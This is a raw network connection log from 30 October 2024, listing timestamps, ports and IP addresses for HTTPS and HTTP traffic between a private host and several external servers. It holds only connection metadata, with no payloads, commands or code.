Oct 30, 2024 23:11:47.147391081 CET	443	49967	20.125.209.212	192.168.2.5
Oct 30, 2024 23:11:47.169313908 CET	443	49967	20.125.209.212	192.168.2.5
Oct 30, 2024 23:11:47.169405937 CET	49967	443	192.168.2.5	20.125.209.212
Oct 30, 2024 23:11:47.170737028 CET	49967	443	192.168.2.5	20.125.209.212
Oct 30, 2024 23:11:47.170753956 CET	443	49967	20.125.209.212	192.168.2.5
Oct 30, 2024 23:11:47.180181026 CET	49975	443	192.168.2.5	20.190.159.4
Oct 30, 2024 23:11:47.180221081 CET	443	49975	20.190.159.4	192.168.2.5
Oct 30, 2024 23:11:47.180298090 CET	49975	443	192.168.2.5	20.190.159.4
Oct 30, 2024 23:11:47.184564114 CET	443	49970	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:47.185403109 CET	49975	443	192.168.2.5	20.190.159.4
Oct 30, 2024 23:11:47.185416937 CET	443	49975	20.190.159.4	192.168.2.5
Oct 30, 2024 23:11:47.185925007 CET	49970	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:47.185940981 CET	443	49970	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:47.186393023 CET	49970	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:47.186398029 CET	443	49970	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:47.189449072 CET	80	49870	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:47.189462900 CET	80	49870	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:47.189475060 CET	80	49870	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:47.189511061 CET	49870	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:47.189537048 CET	49870	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:47.189687967 CET	80	49870	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:47.189738035 CET	80	49870	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:47.189748049 CET	80	49870	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:47.189783096 CET	49870	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:47.189816952 CET	49870	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:47.209934950 CET	443	49971	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:47.210428953 CET	49971	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:47.210444927 CET	443	49971	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:47.210984945 CET	49971	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:47.210992098 CET	443	49971	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:47.237055063 CET	443	49972	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:47.237782955 CET	49972	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:47.237795115 CET	443	49972	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:47.238266945 CET	49972	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:47.238270998 CET	443	49972	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:47.253535986 CET	80	49870	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:47.253547907 CET	80	49870	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:47.253603935 CET	49870	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:47.253633976 CET	49870	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:47.263381958 CET	80	49870	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:47.263425112 CET	80	49870	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:47.263436079 CET	80	49870	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:47.263468027 CET	49870	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:47.263510942 CET	49870	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:47.307559967 CET	80	49870	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:47.307571888 CET	80	49870	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:47.307584047 CET	80	49870	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:47.307635069 CET	49870	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:47.307660103 CET	49870	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:47.318165064 CET	443	49970	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:47.318212032 CET	443	49970	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:47.318259001 CET	443	49970	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:47.318264008 CET	49970	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:47.318298101 CET	49970	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:47.318465948 CET	49970	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:47.318483114 CET	443	49970	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:47.321952105 CET	49976	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:47.321985960 CET	443	49976	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:47.322105885 CET	49976	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:47.322326899 CET	49976	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:47.322340012 CET	443	49976	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:47.340997934 CET	443	49968	20.189.173.26	192.168.2.5
Oct 30, 2024 23:11:47.341473103 CET	443	49971	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:47.341593981 CET	443	49971	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:47.341711044 CET	49971	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:47.341756105 CET	49968	443	192.168.2.5	20.189.173.26
Oct 30, 2024 23:11:47.341824055 CET	443	49968	20.189.173.26	192.168.2.5
Oct 30, 2024 23:11:47.341881037 CET	49968	443	192.168.2.5	20.189.173.26
Oct 30, 2024 23:11:47.343523026 CET	49971	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:47.343535900 CET	443	49971	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:47.343545914 CET	49971	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:47.343552113 CET	443	49971	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:47.347003937 CET	49977	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:47.347130060 CET	443	49977	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:47.347208023 CET	49977	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:47.347419024 CET	49977	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:47.347434998 CET	443	49977	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:47.359219074 CET	443	49973	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:47.359672070 CET	49973	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:47.359688044 CET	443	49973	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:47.360121012 CET	49973	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:47.360126019 CET	443	49973	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:47.369429111 CET	80	49870	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:47.369441032 CET	80	49870	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:47.369528055 CET	49870	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:47.372083902 CET	443	49972	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:47.372143030 CET	443	49972	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:47.372427940 CET	49972	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:47.372427940 CET	49972	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:47.372483969 CET	49972	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:47.372495890 CET	443	49972	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:47.395168066 CET	49978	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:47.395199060 CET	443	49978	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:47.395262957 CET	49978	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:47.395515919 CET	49978	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:47.395529985 CET	443	49978	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:47.491540909 CET	443	49973	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:47.491625071 CET	443	49973	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:47.491683006 CET	49973	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:47.491853952 CET	49973	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:47.491862059 CET	443	49973	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:47.491869926 CET	49973	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:47.491874933 CET	443	49973	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:47.494898081 CET	49979	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:47.494930029 CET	443	49979	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:47.495121956 CET	49979	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:47.495301962 CET	49979	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:47.495321989 CET	443	49979	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:47.532063961 CET	80	49870	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:47.532120943 CET	49870	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:47.532130003 CET	80	49870	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:47.532144070 CET	80	49870	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:47.532156944 CET	80	49870	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:47.532181025 CET	49870	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:47.532198906 CET	49870	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:47.532322884 CET	80	49870	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:47.532336950 CET	80	49870	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:47.532350063 CET	80	49870	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:47.532365084 CET	49870	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:47.532396078 CET	49870	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:47.532613039 CET	80	49870	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:47.532700062 CET	80	49870	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:47.532711983 CET	80	49870	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:47.532743931 CET	49870	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:47.532757044 CET	49870	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:47.532824039 CET	80	49870	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:47.532836914 CET	80	49870	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:47.532872915 CET	49870	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:47.543272018 CET	80	49870	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:47.543329000 CET	80	49870	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:47.543358088 CET	49870	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:47.543370008 CET	80	49870	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:47.543379068 CET	49870	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:47.543433905 CET	49870	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:47.618431091 CET	80	49870	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:47.618484974 CET	49870	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:47.618493080 CET	80	49870	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:47.618505001 CET	80	49870	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:47.618515968 CET	80	49870	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:47.618527889 CET	49870	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:47.618551016 CET	49870	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:47.618562937 CET	49870	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:47.650021076 CET	80	49870	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:47.650068045 CET	80	49870	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:47.650228024 CET	49870	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:47.661132097 CET	80	49870	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:47.661223888 CET	49870	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:47.661256075 CET	80	49870	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:47.661266088 CET	80	49870	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:47.661279917 CET	80	49870	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:47.661299944 CET	49870	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:47.661319971 CET	49870	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:47.736457109 CET	80	49870	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:47.736510038 CET	49870	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:47.736517906 CET	80	49870	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:47.736529112 CET	80	49870	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:47.736561060 CET	49870	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:47.736581087 CET	49870	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:47.760727882 CET	443	49974	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:47.761224031 CET	49974	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:47.761234045 CET	443	49974	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:47.761780977 CET	49974	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:47.761785030 CET	443	49974	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:47.779316902 CET	80	49870	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:47.779355049 CET	80	49870	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:47.779393911 CET	49870	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:47.779417038 CET	49870	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:47.779970884 CET	80	49870	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:47.780030966 CET	49870	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:47.850156069 CET	49870	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:47.850575924 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:47.855921984 CET	80	49870	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:47.856364012 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:47.856544971 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:47.857333899 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:47.863214970 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:47.903882980 CET	443	49974	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:47.903908014 CET	443	49974	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:47.903954029 CET	443	49974	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:47.904002905 CET	49974	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:47.904002905 CET	49974	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:47.904752970 CET	49974	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:47.904771090 CET	443	49974	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:47.907799959 CET	49981	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:47.907843113 CET	443	49981	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:47.907906055 CET	49981	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:47.908140898 CET	49981	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:47.908154964 CET	443	49981	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:48.081422091 CET	443	49976	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:48.082117081 CET	49976	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:48.082133055 CET	443	49976	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:48.082751036 CET	49976	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:48.082756042 CET	443	49976	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:48.100163937 CET	443	49977	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:48.100613117 CET	49977	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:48.100646973 CET	443	49977	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:48.105118036 CET	49977	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:48.105129004 CET	443	49977	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:48.141706944 CET	443	49978	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:48.152647018 CET	49978	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:48.152677059 CET	443	49978	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:48.153418064 CET	49978	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:48.153423071 CET	443	49978	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:48.218833923 CET	443	49976	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:48.219016075 CET	443	49976	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:48.219153881 CET	49976	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:48.235065937 CET	443	49979	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:48.236555099 CET	443	49977	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:48.236594915 CET	443	49977	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:48.236649036 CET	443	49977	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:48.236674070 CET	49977	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:48.236712933 CET	49977	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:48.241375923 CET	49976	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:48.241398096 CET	443	49976	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:48.241436958 CET	49976	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:48.241444111 CET	443	49976	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:48.242559910 CET	49979	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:48.242574930 CET	443	49979	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:48.243444920 CET	49979	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:48.243451118 CET	443	49979	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:48.243506908 CET	49977	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:48.243506908 CET	49977	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:48.243524075 CET	443	49977	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:48.243530989 CET	443	49977	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:48.250102997 CET	49982	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:48.250148058 CET	443	49982	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:48.250217915 CET	49982	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:48.251516104 CET	49983	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:48.251554966 CET	443	49983	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:48.251760960 CET	49983	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:48.257134914 CET	49982	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:48.257150888 CET	443	49982	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:48.258286953 CET	49983	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:48.258300066 CET	443	49983	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:48.273308039 CET	443	49975	20.190.159.4	192.168.2.5
Oct 30, 2024 23:11:48.273718119 CET	49975	443	192.168.2.5	20.190.159.4
Oct 30, 2024 23:11:48.273725986 CET	443	49975	20.190.159.4	192.168.2.5
Oct 30, 2024 23:11:48.274434090 CET	49975	443	192.168.2.5	20.190.159.4
Oct 30, 2024 23:11:48.274444103 CET	443	49975	20.190.159.4	192.168.2.5
Oct 30, 2024 23:11:48.274466038 CET	49975	443	192.168.2.5	20.190.159.4
Oct 30, 2024 23:11:48.274472952 CET	443	49975	20.190.159.4	192.168.2.5
Oct 30, 2024 23:11:48.281475067 CET	443	49978	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:48.281718969 CET	443	49978	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:48.282164097 CET	49978	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:48.282325983 CET	49978	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:48.282337904 CET	443	49978	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:48.282346964 CET	49978	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:48.282354116 CET	443	49978	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:48.284847021 CET	49984	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:48.284859896 CET	443	49984	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:48.285130978 CET	49984	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:48.285264969 CET	49984	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:48.285275936 CET	443	49984	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:48.371210098 CET	443	49979	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:48.371267080 CET	443	49979	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:48.371414900 CET	49979	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:48.371835947 CET	49979	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:48.371862888 CET	443	49979	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:48.371876955 CET	49979	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:48.371885061 CET	443	49979	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:48.374428988 CET	49985	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:48.374456882 CET	443	49985	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:48.374550104 CET	49985	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:48.374797106 CET	49985	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:48.374811888 CET	443	49985	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:48.599565983 CET	443	49975	20.190.159.4	192.168.2.5
Oct 30, 2024 23:11:48.599617004 CET	443	49975	20.190.159.4	192.168.2.5
Oct 30, 2024 23:11:48.599679947 CET	49975	443	192.168.2.5	20.190.159.4
Oct 30, 2024 23:11:48.599692106 CET	443	49975	20.190.159.4	192.168.2.5
Oct 30, 2024 23:11:48.600172043 CET	49975	443	192.168.2.5	20.190.159.4
Oct 30, 2024 23:11:48.600179911 CET	443	49975	20.190.159.4	192.168.2.5
Oct 30, 2024 23:11:48.600188971 CET	49975	443	192.168.2.5	20.190.159.4
Oct 30, 2024 23:11:48.600600004 CET	443	49975	20.190.159.4	192.168.2.5
Oct 30, 2024 23:11:48.600689888 CET	443	49975	20.190.159.4	192.168.2.5
Oct 30, 2024 23:11:48.600802898 CET	49975	443	192.168.2.5	20.190.159.4
Oct 30, 2024 23:11:48.640309095 CET	49986	443	192.168.2.5	20.190.159.4
Oct 30, 2024 23:11:48.640341997 CET	443	49986	20.190.159.4	192.168.2.5
Oct 30, 2024 23:11:48.640974998 CET	49986	443	192.168.2.5	20.190.159.4
Oct 30, 2024 23:11:48.641263008 CET	49986	443	192.168.2.5	20.190.159.4
Oct 30, 2024 23:11:48.641278028 CET	443	49986	20.190.159.4	192.168.2.5
Oct 30, 2024 23:11:48.650953054 CET	49987	443	192.168.2.5	20.190.159.4
Oct 30, 2024 23:11:48.650990963 CET	443	49987	20.190.159.4	192.168.2.5
Oct 30, 2024 23:11:48.651168108 CET	49987	443	192.168.2.5	20.190.159.4
Oct 30, 2024 23:11:48.651340008 CET	49987	443	192.168.2.5	20.190.159.4
Oct 30, 2024 23:11:48.651360035 CET	443	49987	20.190.159.4	192.168.2.5
Oct 30, 2024 23:11:48.682311058 CET	443	49981	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:48.682699919 CET	49981	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:48.682719946 CET	443	49981	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:48.683228970 CET	49981	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:48.683234930 CET	443	49981	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:48.781382084 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:48.781433105 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:48.781450033 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:48.781462908 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:48.781490088 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:48.781536102 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:48.781552076 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:48.781567097 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:48.781578064 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:48.781583071 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:48.781608105 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:48.781635046 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:48.781666040 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:48.781721115 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:48.781738043 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:48.781763077 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:48.781790018 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:48.787333012 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:48.787390947 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:48.821244001 CET	443	49981	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:48.821316004 CET	443	49981	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:48.821466923 CET	49981	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:48.821568966 CET	49981	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:48.821593046 CET	443	49981	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:48.821609020 CET	49981	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:48.821616888 CET	443	49981	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:48.824482918 CET	49988	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:48.824523926 CET	443	49988	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:48.824717045 CET	49988	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:48.824846029 CET	49988	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:48.824862003 CET	443	49988	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:48.955158949 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:48.955197096 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:48.955214024 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:48.955239058 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:48.955269098 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:48.955296040 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:48.955492020 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:48.955553055 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:48.955631971 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:48.955647945 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:48.955678940 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:48.955709934 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:48.955734968 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:48.955779076 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:48.956433058 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:48.956449032 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:48.956495047 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:48.956511021 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:48.956527948 CET	80	49980	185.215.113.206	192.168.2.5
